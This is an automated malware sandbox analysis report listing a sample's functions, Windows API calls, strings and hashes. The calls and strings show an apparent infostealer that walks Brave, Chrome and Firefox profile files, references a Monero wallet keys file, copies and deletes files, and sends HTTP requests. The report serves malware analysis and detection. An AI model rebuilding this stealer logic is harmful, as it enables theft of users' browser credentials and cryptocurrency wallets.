Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

FindFirstFileA.KERNEL32(00000000,?,00A10B32,00A10B2B,00000000,?,?,?,00A113F4,00A10B2A), ref: 009FBEF5
StrCmpCA.SHLWAPI(?,00A113F8), ref: 009FBF4D
StrCmpCA.SHLWAPI(?,00A113FC), ref: 009FBF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 009FC7BF
FindClose.KERNEL32(000000FF), ref: 009FC7D1

Strings

Brave, xrefs: 009FC102
\Brave\Preferences, xrefs: 009FC1DB
Preferences, xrefs: 009FC11E
Google Chrome, xrefs: 009FC634

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 16af1d566d46ba2392192a0498bafb242d4c66797438e2ca0b34fbbf0a63e695
Instruction ID: 214114e849903a21195a2264251a296fa1e969519b0f747a6adfaf99c5a67f2d
Opcode Fuzzy Hash: 16af1d566d46ba2392192a0498bafb242d4c66797438e2ca0b34fbbf0a63e695
Instruction Fuzzy Hash: B242D572A1020CABDB54FB70EE96FED737DABA4300F408558B506961D1EF349B49CB92

Function 6CAD35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CB5F688,00001000), ref: 6CAD35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAD35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CAD35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAD363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAD369F
__aulldiv.LIBCMT ref: 6CAD36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CAD3773
EnterCriticalSection.KERNEL32(6CB5F688), ref: 6CAD377E
LeaveCriticalSection.KERNEL32(6CB5F688), ref: 6CAD37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CAD37C4
EnterCriticalSection.KERNEL32(6CB5F688), ref: 6CAD37CB
LeaveCriticalSection.KERNEL32(6CB5F688), ref: 6CAD3801
__aulldiv.LIBCMT ref: 6CAD3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CAD3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CAD3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CAD394C

Strings

GenuntelineI, xrefs: 6CAD3639
QPC, xrefs: 6CAD38FC
MOZ_TIMESTAMP_MODE, xrefs: 6CAD35DB
GTC, xrefs: 6CAD3912
AuthcAMDenti, xrefs: 6CAD3946

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 5e96fb7d18b8b5dbf1460e66221b83ccb48ed61ab5a8d84835a39602ae7b113f
Instruction ID: 95bf5db5b0ebb5880c8b0fa89e6741b461b4431e1eda18075855c6483917fb64
Opcode Fuzzy Hash: 5e96fb7d18b8b5dbf1460e66221b83ccb48ed61ab5a8d84835a39602ae7b113f
Instruction Fuzzy Hash: DDB1E671B093509FDB08DF28C85461ABBF6FB8A704F49892EE899D7790D774A844CB81

Function 00A04910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00A0492C
FindFirstFileA.KERNEL32(?,?), ref: 00A04943
StrCmpCA.SHLWAPI(?,00A10FDC), ref: 00A04971
StrCmpCA.SHLWAPI(?,00A10FE0), ref: 00A04987
FindNextFileA.KERNEL32(000000FF,?), ref: 00A04B7D
FindClose.KERNEL32(000000FF), ref: 00A04B92

Strings

%s\*, xrefs: 00A04920
%s\%s, xrefs: 00A049A4
%s\%s, xrefs: 00A049FB

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 7becb6eabe17897987f2abdcc8f1104a6080c738fb42017031cb5aecf9ee0101
Instruction ID: 2f683e5e3d9b91029607a7f6b557b792fa6b31260919de8862114275436eeda8
Opcode Fuzzy Hash: 7becb6eabe17897987f2abdcc8f1104a6080c738fb42017031cb5aecf9ee0101
Instruction Fuzzy Hash: 7B6168B151021CABCB20EBA0EC45FEE737CBB48700F044598F64996181EB75DB95CF91

Function 009F4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A0A7E6

Part of subcall function 009F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 009F4839
Part of subcall function 009F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 009F4849

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 009F4915
StrCmpCA.SHLWAPI(?,014DEB08), ref: 009F493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 009F4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00A10DDB,00000000,?,?,00000000,?,",00000000,?,014DEBC8), ref: 009F4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 009F4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 009F4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 009F4E49
InternetCloseHandle.WININET(00000000), ref: 009F4EAD
InternetCloseHandle.WININET(00000000), ref: 009F4EC5
HttpOpenRequestA.WININET(00000000,014DEA78,?,014DE3E8,00000000,00000000,00400100,00000000), ref: 009F4B15

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

Part of subcall function 00A0A920: lstrcpy.KERNEL32(00000000,?), ref: 00A0A972
Part of subcall function 00A0A920: lstrcat.KERNEL32(00000000), ref: 00A0A982

InternetCloseHandle.WININET(00000000), ref: 009F4ECF

Strings

------, xrefs: 009F4B28
------, xrefs: 009F4C69
", xrefs: 009F4BF2
", xrefs: 009F4D33
------, xrefs: 009F49BD

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 33fdfcd3e599674340792d1e8d0b0d2e72099508a04b87d0d8e473864a3191a9
Instruction ID: 9c1818aa89598b29a58b62eda05395fc35249e38fc7185d06bb67555a73ca683
Opcode Fuzzy Hash: 33fdfcd3e599674340792d1e8d0b0d2e72099508a04b87d0d8e473864a3191a9
Instruction Fuzzy Hash: 5512B072A1021CAADB15EB50EE92FEEB378BF64300F508599B106620D1DF706F49CF66

Function 00A03EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00A03EC3
FindFirstFileA.KERNEL32(?,?), ref: 00A03EDA
StrCmpCA.SHLWAPI(?,00A10FAC), ref: 00A03F08
StrCmpCA.SHLWAPI(?,00A10FB0), ref: 00A03F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00A0406C
FindClose.KERNEL32(000000FF), ref: 00A04081

Strings

%s\%s, xrefs: 00A03EB7

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: e6792dc31f116bf20b273a98d516dfd88c9603b58ed4ad46eec2cb8a1c0ddb12
Instruction ID: b27897423e9521f80c048fe44fdb40fcf85af367879c48a5684dc085103fcb6b
Opcode Fuzzy Hash: e6792dc31f116bf20b273a98d516dfd88c9603b58ed4ad46eec2cb8a1c0ddb12
Instruction Fuzzy Hash: 6A5134B291021CABCB24EBB4DD85FEE737CBB58300F404588B69996080DB75DB998F95

Function 009FF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Part of subcall function 00A0A920: lstrcpy.KERNEL32(00000000,?), ref: 00A0A972
Part of subcall function 00A0A920: lstrcat.KERNEL32(00000000), ref: 00A0A982

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00A115B8,00A10D96), ref: 009FF71E
StrCmpCA.SHLWAPI(?,00A115BC), ref: 009FF76F
StrCmpCA.SHLWAPI(?,00A115C0), ref: 009FF785
FindNextFileA.KERNELBASE(000000FF,?), ref: 009FFAB1
FindClose.KERNEL32(000000FF), ref: 009FFAC3

Strings

prefs.js, xrefs: 009FF812

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 9e1f6e8a3141144bf8168bb8b2f8a2f502b1810c516cf809aa16903527f9b5b5
Instruction ID: 947d3a1feca7f4825aa3c93e21204a1c2bd1b725e0bbec97a02b37406b98b58c
Opcode Fuzzy Hash: 9e1f6e8a3141144bf8168bb8b2f8a2f502b1810c516cf809aa16903527f9b5b5
Instruction Fuzzy Hash: BBB11571A1021C9BDB24FF60ED95FEE7379AFA4300F4085A8A50A961D1EF315B49CF92

Function 009F16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00A1510C,?,?,?,00A151B4,?,?,00000000,?,00000000), ref: 009F1923
StrCmpCA.SHLWAPI(?,00A1525C), ref: 009F1973
StrCmpCA.SHLWAPI(?,00A15304), ref: 009F1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 009F1D40
DeleteFileA.KERNEL32(00000000), ref: 009F1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 009F1E20
FindClose.KERNEL32(000000FF), ref: 009F1E32

Part of subcall function 00A0A920: lstrcpy.KERNEL32(00000000,?), ref: 00A0A972
Part of subcall function 00A0A920: lstrcat.KERNEL32(00000000), ref: 00A0A982

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

Strings

\*.*, xrefs: 009F17F1

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
